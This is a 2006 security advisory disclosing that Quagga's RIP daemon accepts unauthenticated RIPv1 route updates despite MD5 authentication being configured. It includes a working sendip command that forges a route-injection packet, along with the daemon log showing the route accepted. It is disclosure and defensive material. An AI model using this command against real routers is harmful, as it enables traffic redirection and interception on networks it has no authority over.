Arhont Ltd - Information Security

Advisory by:	Konstantin V. Gavrilenko (http://www.arhont.com) 
Arhont ref:	arh200604-2
Advisory:	Quagga RIPD unauthenticated route injection
Class:		design bug?
Version:	Tested on Quagga suite v0.98.5 v0.99.3 (Gentoo, 2.6.15)
Model Specific:	Other versions might have the same bug


DETAILS
It is possible to inject a custom malicious route into the quagga RIP
daemon using the RIPv1 RESPONSE packet even if the quagga has been
configured to use MD5 authentication.

The prerequisite to the attack is the absence of the specific version of
the protocol in the router rip configuration. This way, quagga accepts
authenticated RIPv2 and also RIPv1 packets, that do not have
authentication mechanism at all.

configuration of the ripd
key chain dmz
 key 1
  key-string secret
!
interface eth0
 ip rip authentication mode md5 auth-length old-ripd
 ip rip authentication key-chain dmz
!
router rip
 redistribute static
 network eth0

arhontus / # sendip -p ipv4 -is 192.168.69.102 -p udp -us 520 -ud 520 -p
rip -rv 1 -rc 2  -re 2:0:192.168.36.0:255.255.255.0:0.0.0.0:1 192.168.69.100

RIPD LOG
2006/05/02 16:06:45 RIP: RECV packet from 192.168.69.102 port 520 on eth0
2006/05/02 16:06:45 RIP: RECV RESPONSE version 1 packet size 24
2006/05/02 16:06:45 RIP:   192.168.36.0 family 2 tag 0 metric 1
2006/05/02 16:06:45 RIP: Resultant route 192.168.36.0
2006/05/02 16:06:45 RIP: Resultant mask 255.255.255.0
2006/05/02 16:06:45 RIP: triggered update!


RISK FACTOR: Medium


WORKAROUNDS: Implement the patch for the ripd or firewall the access to
the ripd daemon on the need to access basis.


COMMUNICATION HISTORY:
Issue discovered:	  10/04/2006
quagga notified:	  24/04/2006
Public disclosure:	  03/05/2006

ADDITIONAL INFORMATION:
*According to the Arhont Ltd. policy, all of the found vulnerabilities
and security issues will be reported to the manufacturer at least 7 days
before releasing them to the public domains (such as CERT and BUGTRAQ).

If you would like to get more information about this issue, please do
not hesitate to contact Arhont team on info@arhont.com 


-- 
Respectfully,
Konstantin V. Gavrilenko

Managing Director
Arhont Ltd - Information Security

web: http://www.arhont.com 
http://www.wi-foo.com 
e-mail: k.gavrilenko@arhont.com 

tel: +44 (0) 870 44 31337
fax: +44 (0) 117 969 0141

PGP: Key ID - 0xE81824F4
PGP: Server - keyserver.pgp.com